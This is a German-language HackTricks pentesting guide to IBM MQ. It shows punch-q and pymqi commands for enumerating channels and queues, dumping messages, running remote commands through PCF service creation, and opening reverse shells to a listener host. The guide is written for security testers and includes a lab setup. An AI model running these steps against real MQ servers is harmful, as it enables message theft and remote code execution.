# 1414 - Pentesting IBM MQ
Lernen Sie das Hacken von AWS von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! * Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das [hacktricks-Repository](https://github.com/carlospolop/hacktricks) und das [hacktricks-cloud-Repository](https://github.com/carlospolop/hacktricks-cloud) senden**.
## Grundlegende Informationen IBM MQ ist eine IBM-Technologie zur Verwaltung von Nachrichtenwarteschlangen. Wie andere **Message-Broker**-Technologien ist sie darauf spezialisiert, Informationen zwischen Produzenten und Konsumenten zu empfangen, zu speichern, zu verarbeiten und zu klassifizieren. Standardmäßig **wird der IBM MQ TCP-Port 1414 freigegeben**. Manchmal kann die HTTP REST API auf Port **9443** freigegeben sein. Metriken (Prometheus) können auch über den TCP-Port **9157** abgerufen werden. Der IBM MQ TCP-Port 1414 kann verwendet werden, um Nachrichten, Warteschlangen, Kanäle usw. zu manipulieren, aber auch um die Instanz zu steuern. IBM bietet eine umfangreiche technische Dokumentation auf [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq) an. ## Tools Ein empfohlenes Tool für einfache Ausnutzung ist **[punch-q](https://github.com/sensepost/punch-q)**, mit Docker-Verwendung. Das Tool verwendet aktiv die Python-Bibliothek `pymqi`. Für einen manuelleren Ansatz verwenden Sie die Python-Bibliothek **[pymqi](https://github.com/dsuch/pymqi)**. Es werden [IBM MQ-Abhängigkeiten](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) benötigt. ### Installation von pymqi Die **IBM MQ-Abhängigkeiten** müssen installiert und geladen werden: 1. Erstellen Sie ein Konto (IBMid) auf [https://login.ibm.com/](https://login.ibm.com/). 2. Laden Sie die IBM MQ-Bibliotheken von [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) herunter. Für Linux x86_64 ist es **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**. 3. Entpacken Sie (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`). 4. Führen Sie `sudo ./mqlicense.sh` aus, um die Lizenzbedingungen zu akzeptieren. >Wenn Sie unter Kali Linux sind, ändern Sie die Datei `mqlicense.sh`: Entfernen/Kommentieren Sie die folgenden Zeilen (zwischen den Zeilen 105-110): > >```bash >if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] > then > echo "ERROR: This package is incompatible with this system" > echo " This package was built for ${BUILD_PLATFORM}" > exit 1 >fi >``` 5. Installieren Sie diese Pakete: ```bash sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm ``` 6. Fügen Sie dann vor dem Ausführen anderer Tools, die diese Abhängigkeiten verwenden, die `.so`-Dateien vorübergehend zu LD hinzu: `export LD_LIBRARY_PATH=/opt/mqm/lib64`. Dann können Sie das Projekt [**pymqi**](https://github.com/dsuch/pymqi) klonen: Es enthält interessante Code-Snippets, Konstanten, ... Oder Sie können die Bibliothek direkt mit `pip install pymqi` installieren. ### Verwendung von punch-q #### Mit Docker Verwenden Sie einfach: `sudo docker run --rm -ti leonjza/punch-q`. #### Ohne Docker Klonen Sie das Projekt [**punch-q**](https://github.com/sensepost/punch-q) und folgen Sie dann der Readme für die Installation (`pip install -r requirements.txt && python3 setup.py install`). Danach kann es mit dem Befehl `punch-q` verwendet werden. ## Enumeration Sie können versuchen, den **Queue-Manager-Namen, die Benutzer, die Kanäle und die Warteschlangen** mit **punch-q** oder **pymqi** aufzulisten. ### Queue-Manager Manchmal gibt es keinen Schutz gegen das Abrufen des Queue-Manager-Namens: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name Queue Manager name: MYQUEUEMGR ``` ### Kanäle **punch-q** verwendet eine interne (anpassbare) Wortliste, um vorhandene Kanäle zu finden. Beispiel für die Verwendung: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels "DEV.ADMIN.SVRCONN" exists and was authorised. "SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised. "SYSTEM.DEF.SVRCONN" might exist, but user was not authorised. ``` Es kommt vor, dass einige IBM MQ-Instanzen **unauthentifizierte** MQ-Anfragen akzeptieren, sodass `--username / --password` nicht erforderlich ist. Natürlich können auch die Zugriffsrechte variieren. Sobald wir einen Kanalnamen haben (hier: `DEV.ADMIN.SVRCONN`), können wir alle anderen Kanäle aufzählen. Die Aufzählung kann im Grunde mit diesem Code-Schnipsel `code/examples/dis_channels.py` von **pymqi** durchgeführt werden: ```python import logging import pymqi logging.basicConfig(level=logging.INFO) queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' prefix = '*' args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix} qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: response = pcf.MQCMD_INQUIRE_CHANNEL(args) except pymqi.MQMIError as e: if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME: logging.info('No channels matched prefix `%s`' % prefix) else: raise else: for channel_info in response: channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME] logging.info('Found channel `%s`' % channel_name) qmgr.disconnect() ``` ... Aber **punch-q** enthält auch diesen Teil (mit mehr Informationen!). Es kann mit folgendem Befehl gestartet werden: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*' Showing channels with prefix: "*"... | Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher | |----------------------|-------------------|---------|-----------|------------|-----------------|------------| | DEV.ADMIN.SVRCONN | Server-connection | | | | | | | DEV.APP.SVRCONN | Server-connection | app | | | | | | SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | | | SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | | | SYSTEM.DEF.AMQP | AMQP | | | | | | | SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | | | SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | | | SYSTEM.DEF.RECEIVER | Receiver | | | | | | | SYSTEM.DEF.REQUESTER | Requester | | | | | | | SYSTEM.DEF.SENDER | Sender | | | | | | | SYSTEM.DEF.SERVER | Server | | | | | | | SYSTEM.DEF.SVRCONN | Server-connection | | | | | | | SYSTEM.DEF.CLNTCONN | Client-connection | | | | | | ``` ### Warteschlangen Es gibt einen Code-Schnipsel mit **pymqi** (`dis_queues.py`), aber **punch-q** ermöglicht es, weitere Informationen über die Warteschlangen abzurufen: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... | Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description | | | | | | | GR Name | eue Nam | | | | | | | | | e | | |-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------| | 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | | | 0 18.35.1 | E | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | | 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | | | 0 18.35.1 | | | | | | | | | 9 | | | | | | | | # Truncated ``` ## Ausnutzen ### Nachrichten abrufen Sie können Warteschlangen/Kanäle ins Visier nehmen, um Nachrichten abzufangen oder von ihnen abzurufen (nicht zerstörende Operation). *Beispiele:* ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff ``` ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump ``` **Zögern Sie nicht, alle identifizierten Warteschlangen zu überprüfen.** ### Code-Ausführung > Einige Details vor dem Fortfahren: IBM MQ kann auf verschiedene Arten gesteuert werden: MQSC, PCF, Control Command. Einige allgemeine Listen finden Sie in der [IBM MQ-Dokumentation](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison). > [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) ist das, worauf wir uns konzentrieren, um remote mit der Instanz zu interagieren. **punch-q** und weiterhin **pymqi** basieren auf PCF-Interaktionen. > > Sie finden eine Liste der PCF-Befehle: > * [Aus der PCF-Dokumentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), und > * [aus Konstanten](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes). > > Ein interessanter Befehl ist `MQCMD_CREATE_SERVICE` und seine Dokumentation ist [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms) verfügbar. Er nimmt als Argument einen `StartCommand`, der auf ein lokales Programm auf der Instanz verweist (Beispiel: `/bin/sh`). > > Es gibt auch eine Warnung für den Befehl in der Dokumentation: *"Achtung: Dieser Befehl ermöglicht es einem Benutzer, einen beliebigen Befehl mit mqm-Berechtigung auszuführen. Wenn einem Benutzer das Recht zum Verwenden dieses Befehls gewährt wird, könnte ein bösartiger oder unvorsichtiger Benutzer einen Dienst definieren, der Ihre Systeme oder Daten beschädigt, indem er beispielsweise wichtige Dateien löscht."* > > *Hinweis: Immer gemäß der IBM MQ-Dokumentation (Administration Reference) gibt es auch einen HTTP-Endpunkt unter `/admin/action/qmgr/{qmgrName}/mqsc`, um den entsprechenden MQSC-Befehl für die Service-Erstellung (`DEFINE SERVICE`) auszuführen. Dieser Aspekt wird hier noch nicht behandelt.* Die Erstellung / Löschung eines Dienstes mit PCF zur Ausführung eines Remote-Programms kann mit **punch-q** durchgeführt werden: **Beispiel 1** ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id" ``` > In den Protokollen von IBM MQ können Sie lesen, dass der Befehl erfolgreich ausgeführt wurde: > > ```bash > 2023-10-10T19:13:01.713Z AMQ5030I: Der Befehl '808544aa7fc94c48' wurde gestartet. ProzessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)] > ``` Sie können auch vorhandene Programme auf der Maschine auflisten (hier `/bin/doesnotexist` ... existiert nicht): ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg s "whatever" Command: /bin/doesnotexist Arguments: -c id Service Name: 6e3ef5af652b4436 Creating service... Starting service... The program '/bin/doesnotexist' is not available on the remote system. Giving the service 0 second(s) to live... Cleaning up service... Done ``` **Beachten Sie, dass der Programmstart asynchron ist. Sie benötigen also ein zweites Element, um den Exploit zu nutzen** ***(Listener für Reverse-Shell, Dateierstellung auf einem anderen Dienst, Datenexfiltration über das Netzwerk ...)*** **Beispiel 2** Für eine einfache Reverse-Shell bietet **punch-q** auch zwei Reverse-Shell-Payloads an: * Einen mit Bash * Einen mit Perl *Natürlich können Sie auch einen benutzerdefinierten Payload mit dem Befehl `execute` erstellen.* Für Bash: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` Für Perl: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444 ``` ### Benutzerdefinierte PCF Sie können sich in die IBM MQ-Dokumentation vertiefen und direkt die Python-Bibliothek **pymqi** verwenden, um spezifische PCF-Befehle zu testen, die nicht in **punch-q** implementiert sind. **Beispiel:** ```python import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: # Replace here with your custom PCF args and command # The constants can be found in pymqi/code/pymqi/CMQCFC.py args = {pymqi.CMQCFC.xxxxx: "value"} response = pcf.MQCMD_CUSTOM_COMMAND(args) except pymqi.MQMIError as e: print("Error") else: # Process response qmgr.disconnect() ``` Wenn Sie die Konstantennamen nicht finden können, können Sie sich auf die [IBM MQ-Dokumentation](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) beziehen. > *Beispiel für [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Dezimal = 73). Es benötigt den Parameter `MQCA_CLUSTER_NAME` (Dezimal = 2029), der `*` sein kann (Dokumentation: ):* > > ```python > import pymqi > > queue_manager = 'MYQUEUEMGR' > channel = 'DEV.ADMIN.SVRCONN' > host = '172.17.0.2' > port = '1414' > conn_info = '%s(%s)' % (host, port) > user = 'admin' > password = 'passw0rd' > > qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) > pcf = pymqi.PCFExecute(qmgr) > > try: > args = {2029: "*"} > response = pcf.MQCMD_REFRESH_CLUSTER(args) > except pymqi.MQMIError as e: > print("Fehler") > else: > print(response) > > qmgr.disconnect() > ``` ## Testumgebung Wenn Sie das Verhalten und die Exploits von IBM MQ testen möchten, können Sie eine lokale Umgebung mit Docker einrichten: 1. Ein Konto auf ibm.com und cloud.ibm.com haben. 2. Erstellen Sie einen containerisierten IBM MQ mit: ```bash sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Standardmäßig ist die Authentifizierung aktiviert, der Benutzername lautet `admin` und das Passwort lautet `passw0rd` (Umgebungsvariable `MQ_ADMIN_PASSWORD`). Hier wurde der Name des Warteschlangenmanagers auf `MYQUEUEMGR` festgelegt (Variable `MQ_QMGR_NAME`). Sie sollten IBM MQ installiert und mit den entsprechenden Ports freigegeben haben: ```bash ❯ sudo docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq ``` > Die alte Version der IBM MQ Docker-Images befindet sich unter: https://hub.docker.com/r/ibmcom/mq/. ## Referenzen * [mgeeky's Gist - "Praktische Notizen zur Penetrationstest von IBM MQ"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec) * [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf) * [IBM MQ Dokumentation](https://www.ibm.com/docs/en/ibm-mq)